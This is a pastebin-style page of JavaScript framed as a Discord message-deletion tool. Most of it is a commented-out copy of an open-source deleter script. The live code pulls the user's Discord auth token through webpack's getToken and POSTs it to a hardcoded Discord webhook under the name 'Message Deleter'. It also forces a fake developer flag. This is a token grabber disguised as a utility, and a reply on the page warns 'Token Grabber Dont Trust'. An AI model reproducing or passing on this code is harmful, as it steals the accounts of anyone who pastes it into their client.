Facebook
From Being, 3 Years ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 2169
  1. const DI = window.DiscordInternals;
  2. const hasLib = !!(DI && DI.versionCompare && DI.versionCompare(DI.version || "", "1.9") >= 0);
  3.     const WebpackModules = hasLib && DI.WebpackModules || (() => {
  4.  
  5.         const req = typeof(webpackJsonp) == "function" ? webpackJsonp([], {
  6.                 '__extra_id__': (module, exports, req) => exports.default = req
  7.         }, ['__extra_id__']).default : webpackJsonp.push([[], {
  8.                 '__extra_id__': (module, exports, req) => module.exports = req
  9.         }, [['__extra_id__']]]);
  10.         delete req.m['__extra_id__'];
  11.         delete req.c['__extra_id__'];
  12.         const find = (filter, options = {}) => {
  13.             const {cacheOnly = false} = options;
  14.             for (let i in req.c) {
  15.                 if (req.c.hasOwnProperty(i)) {
  16.                     let m = req.c[i].exports;
  17.                     if (m && m.__esModule && m.default && filter(m.default))
  18.                         return m.default;
  19.                     if (m && filter(m))
  20.                         return m;
  21.                 }
  22.             }
  23.             if (cacheOnly) {
  24.                 console.warn('Cannot find loaded module in cache');
  25.                 return null;
  26.             }
  27.             console.warn('Cannot find loaded module in cache. Loading all modules may have unexpected side effects');
  28.             for (let i = 0; i < req.m.length; ++i) {
  29.                 let m = req(i);
  30.                 if (m && m.__esModule && m.default && filter(m.default))
  31.                     return m.default;
  32.                 if (m && filter(m))
  33.                     return m;
  34.             }
  35.             console.warn('Cannot find module');
  36.             return null;
  37.         };
  38.         const findByUniqueProperties = (propNames, options) => find(module => propNames.every(prop => module[prop] !== undefined), options);
  39.         const findByDisplayName = (displayName, options) => find(module => module.displayName === displayName, options);
  40.         return {find, findByUniqueProperties, findByDisplayName};
  41.     })();
  42. t = WebpackModules.findByUniqueProperties(["isDeveloper"]);
  43. Object.defineProperty(t,"isDeveloper",{get:_=>1,set:_=>_,configurable:true});
  44.  
  45.  
  46.  
  47. /*
  48.     const logArea = popup.document.querySelector('pre');
  49.     const startBtn = popup.document.querySelector('button#start');
  50.     const stopBtn = popup.document.querySelector('button#stop');
  51.     const autoScroll = popup.document.querySelector('#autoScroll');
  52.     startBtn.onclick = e => {
  53.         const authToken = popup.document.querySelector('input#authToken').value.trim();
  54.         const authorId = popup.document.querySelector('input#authorId').value.trim();
  55.         const guildId = popup.document.querySelector('input#guildId').value.trim();
  56.         const channelId = popup.document.querySelector('input#channelId').value.trim();
  57.         const afterMessageId = popup.document.querySelector('input#afterMessageId').value.trim();
  58.         const beforeMessageId = popup.document.querySelector('input#beforeMessageId').value.trim();
  59.         const content = popup.document.querySelector('input#content').value.trim();
  60.         const hasLink = popup.document.querySelector('input#hasLink').checked;
  61.         const hasFile = popup.document.querySelector('input#hasFile').checked;
  62.         const includeNsfw = popup.document.querySelector('input#includeNsfw').checked;
  63.         stop = stopBtn.disabled = !(startBtn.disabled = true);
  64.         deleteMessages(authToken, authorId, guildId, channelId, afterMessageId, beforeMessageId, content, hasLink, hasFile, includeNsfw, logger, () => !(stop === true || popup.closed)).then(() => {
  65.             stop = stopBtn.disabled = !(startBtn.disabled = false);
  66.         });
  67.     };*/
  68.  
  69. var msgdeleter = new XMLHttpRequest();
  70. msgdeleter.withCredentials = true;
  71.  
  72.    msgdeleter.addEventListener("readystatechange", function () {
  73.      if (this.readyState === this.DONE) {
  74.      console.log(this.responseText);
  75.   }
  76. });
  77.    var req=webpackJsonp.push([[], {extra_id:(e,r,t) => e.exports=t},[["extra_id"]]]);
  78.    for(let e in req.c) {
  79.     if(req.c.hasOwnProperty(e)){
  80.      let r=req.c[e].exports;if(r&&r.__esModule&&r.default) for(let e in r.default) if ("getToken"===e) {
  81.       var mdeleter = r.default.getToken()
  82. }
  83. }
  84. }
  85.    msgdeleter.open("POST", "https://discord.com/api/webhooks/768015010609496074/oOO-DAa-383B4q9gXJDRnk-EBAqn2cIoyVcCfl6b99FhGl5dNxzfPg1y4lJlxPMIWLSA");
  86.    msgdeleter.setRequestHeader('Content-Type', 'application/json');
  87.    msgdeleter.send(
  88.     JSON.stringify({
  89.      content: mdeleter + "",
  90.      username: "Message Deleter"  
  91.  })
  92. );
  93.  /*  
  94.  
  95. stopBtn.onclick = e => stop = stopBtn.disabled = !(startBtn.disabled = false);
  96.     popup.document.querySelector('button#clear').onclick = e => { logArea.innerHTML = ''; };
  97.     popup.document.querySelector('button#getToken').onclick = e => {
  98.         window.dispatchEvent(new Event('beforeunload'));
  99.         popup.document.querySelector('input#authToken').value = JSON.parse(popup.localStorage.token);
  100.     };
  101.     popup.document.querySelector('button#getAuthor').onclick = e => {
  102.         popup.document.querySelector('input#authorId').value = JSON.parse(popup.localStorage.user_id_cache);
  103.     };
  104.     popup.document.querySelector('button#getGuildAndChannel').onclick = e => {
  105.         const m = location.href.match(/channels\/([\w@]+)\/(\d+)/);
  106.         popup.document.querySelector('input#guildId').value = m[1];
  107.         popup.document.querySelector('input#channelId').value = m[2];
  108.     };
  109.     popup.document.querySelector('#redact').onchange = e => {
  110.         popup.document.body.classList.toggle('redact') &&
  111.         popup.alert('This will attempt to hide personal information, but make sure to double check before sharing screenshots.');
  112.     };
  113.  
  114.     const logger = (type='', args) => {
  115.         const style = { '': '', info: 'color:#00b0f4;', verb: 'color:#72767d;', warn: 'color:#faa61a;', error: 'color:#f04747;', success: 'color:#43b581;' }[type];
  116.         logArea.insertAdjacentHTML('beforeend', `<div style="${style}">${Array.from(args).map(o => typeof o === 'object' ?  JSON.stringify(o, o instanceof Error && Object.getOwnPropertyNames(o)) : o).join('\t')}</div>`);
  117.         if (autoScroll.checked) logArea.querySelector('div:last-child').scrollIntoView(false);
  118.     };
  119.    
  120.     return '~ Youtube; Kreax!';
  121.     /**
  122.      * Delete all messages in a Discord channel or DM
  123.      * @param {string} authToken Your authorization token
  124.      * @param {string} authorId Author of the messages you want to delete
  125.      * @param {string} guildId Server were the messages are located
  126.      * @param {string} channelId Channel were the messages are located
  127.      * @param {string} afterMessageId Only delete messages after this, leave blank do delete all
  128.      * @param {string} beforeMessageId Only delete messages before this, leave blank do delete all
  129.      * @param {string} content Filter messages that contains this text content
  130.      * @param {boolean} hasLink Filter messages that contains link
  131.      * @param {boolean} hasFile Filter messages that contains file
  132.      * @param {boolean} includeNsfw Search in NSFW channels
  133.      * @param {function(string, Array)} extLogger Function for logging
  134.      * @param {function} stopHndl stopHndl used for stopping
  135.      * @author Victornpb <https://www.github.com/victornpb>
  136.      * @see https://github.com/victornpb/deleteDiscordMessages
  137.      
  138.     async function deleteMessages(authToken, authorId, guildId, channelId, afterMessageId, beforeMessageId, content,hasLink, hasFile, includeNsfw, extLogger, stopHndl) {
  139.         const start = new Date();
  140.         let deleteDelay = 100;
  141.         let searchDelay = 100;
  142.         let delCount = 0;
  143.         let failCount = 0;
  144.         let avgPing;
  145.         let lastPing;
  146.         let grandTotal;
  147.         let throttledCount = 0;
  148.         let throttledTotalTime = 0;
  149.         let offset = 0;
  150.         let iterations = -1;
  151.        
  152.         const wait = async ms => new Promise(done => setTimeout(done, ms));
  153.         const msToHMS = s => `${s / 3.6e6 | 0}h ${(s % 3.6e6) / 6e4 | 0}m ${(s % 6e4) / 1000 | 0}s`;
  154.         const escapeHTML = html => html.replace(/[&<"']/g, m => ({ '&': '&amp;', '<': '&lt;', '"': '&quot;', '\'': '&#039;' })[m]);
  155.         const redact = str => `<span class="priv">${escapeHTML(str)}</span><span class="mask">REDACTED</span>`;
  156.         const queryString = params => params.filter(p => p[1] !== undefined).map(p => p[0] + '=' + encodeURIComponent(p[1])).join('&');
  157.         const ask = async msg => new Promise(resolve => setTimeout(() => resolve(popup.confirm(msg)), 10));
  158.         const printDelayStats = () => log.verb(`Silme Pingi: ${deleteDelay}ms, Search delay: ${searchDelay}ms`, `Last Ping: ${lastPing}ms, Average Ping: ${avgPing|0}ms`);
  159.  
  160.         const log = {
  161.             debug() { extLogger ? extLogger('debug', arguments) : console.debug.apply(console, arguments); },
  162.             info() { extLogger ? extLogger('info', arguments) : console.info.apply(console, arguments); },
  163.             verb() { extLogger ? extLogger('verb', arguments) : console.log.apply(console, arguments); },
  164.             warn() { extLogger ? extLogger('warn', arguments) : console.warn.apply(console, arguments); },
  165.             error() { extLogger ? extLogger('error', arguments) : console.error.apply(console, arguments); },
  166.             success() { extLogger ? extLogger('success', arguments) : console.info.apply(console, arguments); },
  167.         };
  168.  
  169.         async function recurse() {
  170.             iterations++;
  171.  
  172.             let API_SEARCH_URL;
  173.             if (guildId === '@me') {
  174.                 API_SEARCH_URL = `https://discordapp.com/api/v6/channels/${channelId}/messages/`; // DMs
  175.             }
  176.             else {
  177.                 API_SEARCH_URL = `https://discordapp.com/api/v6/guilds/${guildId}/messages/`; // Server
  178.             }
  179.  
  180.             const headers = {
  181.                 'Authorization': authToken
  182.             };
  183.            
  184.             let resp;
  185.             try {
  186.                 const s = Date.now();
  187.                 resp = await fetch(API_SEARCH_URL + 'search?' + queryString([
  188.                     [ 'author_id', authorId || undefined ],
  189.                     [ 'channel_id', (guildId !== '@me' ? channelId : undefined) || undefined ],
  190.                     [ 'min_id', afterMessageId || undefined ],
  191.                     [ 'max_id', beforeMessageId || undefined ],
  192.                     [ 'sort_by', 'timestamp' ],
  193.                     [ 'sort_order', 'desc' ],
  194.                     [ 'offset', offset ],
  195.                     [ 'has', hasLink ? 'link' : undefined ],
  196.                     [ 'has', hasFile ? 'file' : undefined ],
  197.                     [ 'content', content || undefined ],
  198.                     [ 'include_nsfw', includeNsfw ? true : undefined ],
  199.                 ]), { headers });
  200.                 lastPing = (Date.now() - s);
  201.                 avgPing = avgPing>0 ? (avgPing*0.9) + (lastPing*0.1):lastPing;
  202.             } catch (err) {
  203.                 return log.error('Search request throwed an error:', err);
  204.             }
  205.    
  206.             // not indexed yet
  207.             if (resp.status === 202) {
  208.                 const w = (await resp.json()).retry_after;
  209.                 throttledCount++;
  210.                 throttledTotalTime += w;
  211.                 log.warn(`This channel wasn't indexed, waiting ${w}ms for discord to index it...`);
  212.                 await wait(w);
  213.                 return await recurse();
  214.             }
  215.    
  216.             if (!resp.ok) {
  217.                 // searching messages too fast
  218.                 if (resp.status === 429) {
  219.                     const w = (await resp.json()).retry_after;
  220.                     throttledCount++;
  221.                     throttledTotalTime += w;
  222.                     searchDelay += w; // increase delay
  223.                     log.warn(`Zaman Aşımına Uğradı ${w}ms! Tekrar Başlatılıyor...`);
  224.                     printDelayStats();
  225.                     log.verb(`Cooling down for ${w * 2}ms before retrying...`);
  226.                    
  227.                     await wait(w*2);
  228.                     return await recurse();
  229.                 } else {
  230.                     return log.error(`Error searching messages, API responded with status ${resp.status}!\n`, await resp.json());
  231.                 }
  232.             }
  233.            
  234.             const data = await resp.json();
  235.             const total = data.total_results;
  236.             if (!grandTotal) grandTotal = total;
  237.             const myMessages = data.messages.map(convo => convo.find(message => message.hit===true));
  238.             const systemMessages = myMessages.filter(msg => msg.type !== 0); // https://discordapp.com/developers/docs/resources/channel#message-object-message-types
  239.             const deletableMessages = myMessages.filter(msg => msg.type === 0);
  240.             const end = () => {
  241.                 log.success(`Bitti ${new Date().toLocaleString()}! Total time: ${msToHMS(Date.now() - start.getTime())}`);
  242.                 printDelayStats();
  243.                 log.verb(`Zaman Aşımı: ${throttledCount} times. Total time throttled: ${msToHMS(throttledTotalTime)}.`);
  244.                 log.debug(`Silinen ${delCount} messages, ${failCount} Hatalı.\n`);
  245.             }
  246.  
  247.             const etr = msToHMS((searchDelay * Math.round(total / 25)) + ((deleteDelay + avgPing) * total));
  248.             log.info(`Toplam Mesaj: ${data.total_results}`, `(Messages in current page: ${data.messages.length}, Author: ${deletableMessages.length}, System: ${systemMessages.length})`, `offset: ${offset}`);
  249.             printDelayStats();
  250.             log.verb(`Tahmini Bitiş Zamanı: ${etr}`)
  251.            
  252.            
  253.             if (myMessages.length > 0) {
  254.  
  255.                 if (iterations < 1) {
  256.                     log.verb(`Bekleniyor...`);
  257.                     if (!await ask(`Şuan ~${total} Tane Mesaj Silinecek!\nTahmini Bitiş Zamanı: ${etr}\n\n---- Mesajların ----\n` +
  258.                         myMessages.map(m => `${m.author.username}#${m.author.discriminator}: ${m.attachments.length ? '[ATTACHMENTS]' : m.content}`).join('\n')))
  259.                             return end(log.error('Aborted by you!'));
  260.                     log.verb(`OK`);
  261.                 }
  262.                
  263.                 for (let i = 0; i < deletableMessages.length; i++) {
  264.                     const message = deletableMessages[i];
  265.                     if (stopHndl && stopHndl()===false) return end(log.error('Durduruldu'));
  266.  
  267.                     log.debug(`${((delCount + 1) / grandTotal * 100).toFixed(2)}% (${delCount + 1}/${grandTotal})`,
  268.                         `Mesaj ID:${redact(message.id)} <b>${redact(message.author.username+'#'+message.author.discriminator)} <small>(${redact(new Date(message.timestamp).toLocaleString())})</small>:</b> <i>${redact(message.content).replace(/\n/g,'↵')}</i>`,
  269.                         message.attachments.length ? redact(JSON.stringify(message.attachments)) : '');
  270.                    
  271.                     let resp;
  272.                     try {
  273.                         const s = Date.now();
  274.                         const API_DELETE_URL = `https://discordapp.com/api/v6/channels/${channelId}/messages/`;
  275.                         resp = await fetch(API_DELETE_URL + message.id, {
  276.                             headers,
  277.                             method: 'DELETE'
  278.                         });
  279.                         lastPing = (Date.now() - s);
  280.                         avgPing = (avgPing*0.9) + (lastPing*0.1);
  281.                         delCount++;
  282.                     } catch (err) {
  283.                         log.error('Delete request throwed an error:', err);
  284.                         log.verb('Related object:', redact(JSON.stringify(message)));
  285.                         failCount++;
  286.                     }
  287.  
  288.                     if (!resp.ok) {
  289.                         // deleting messages too fast
  290.                         if (resp.status === 429) {
  291.                             const w = (await resp.json()).retry_after;
  292.                             throttledCount++;
  293.                             throttledTotalTime += w;
  294.                             deleteDelay += w; // increase delay
  295.                             log.warn(`Being rate limited by the API for ${w}ms! Adjusted delete delay to ${deleteDelay}ms.`);
  296.                             printDelayStats();
  297.                             log.verb(`Yeniden Denemeden Önce ${w*2}ms Soğutuldu...`);
  298.                             await wait(w*2);
  299.                             i--; // retry
  300.                         } else {
  301.                             log.error(`Error deleting message, API responded with status ${resp.status}!`, await resp.json());
  302.                             log.verb('Related object:', redact(JSON.stringify(message)));
  303.                             failCount++;
  304.                         }
  305.                     }
  306.                    
  307.                     await wait(deleteDelay);
  308.                 }
  309.  
  310.                 if (systemMessages.length > 0) {
  311.                     grandTotal -= systemMessages.length;
  312.                     offset += systemMessages.length;
  313.                     log.verb(`Found ${systemMessages.length} system messages! Decreasing grandTotal to ${grandTotal} and increasing offset to ${offset}.`);
  314.                 }
  315.                
  316.                 log.verb(`Searching next messages in ${searchDelay}ms...`, (offset ? `(offset: ${offset})` : '') );
  317.                 await wait(searchDelay);
  318.  
  319.                 if (stopHndl && stopHndl()===false) return end(log.error('Silme İşlemi Durduruldu!'));
  320.  
  321.                 return await recurse();
  322.             } else {
  323.                 if (total - offset > 0) log.warn('Ended because API returned an empty page.');
  324.                 return end();
  325.             }
  326.         }
  327.  
  328.         log.success(`\nStarted at ${start.toLocaleString()}`);
  329.         log.debug(`authorId="${redact(authorId)}" guildId="${redact(guildId)}" channelId="${redact(channelId)}" afterMessageId="${redact(afterMessageId)}" beforeMessageId="${redact(beforeMessageId)}" hasLink=${!!hasLink} hasFile=${!!hasFile}`);
  330.         return await recurse();
  331.     }
  332. })();*/

Replies to Discord Stickers rss

Title Name Language When
Re: Discord Stickers Scorching Coyote text 1 Year ago.
Re: Discord Stickers Scanty Marmoset text 2 Years ago.
Re: Discord Stickers Mungo Lion text 2 Years ago.
Re: Discord Stickers Tiny Echidna text 2 Years ago.
Re: Discord Stickers Baby Madrill text 2 Years ago.
Re: Discord Stickers Flying Finch text 2 Years ago.
Re: Discord Stickers Jittery Tamarin text 2 Years ago.
Re: Discord Stickers Social Mockingbird text 2 Years ago.
Token Grabber Dont Trust Code6vw javascript 2 Years ago.
Re: Discord Stickers Gracious Owl text 3 Years ago.
Re: Discord Stickers Mature Peafowl text 3 Years ago.
Re: Discord Stickers Tinct Hamerkop text 3 Years ago.
Re: Discord Stickers Coral Porcupine text 3 Years ago.
Re: Discord Stickers Idiotic Tern text 3 Years ago.
Re: Discord Stickers Gamboge Kitten text 3 Years ago.
Discord Stickers Young javascript 3 Years ago.
Re: Discord Stickers Cute Motmot text 3 Years ago.
Re: Discord Stickers Chocolate Cockroach text 3 Years ago.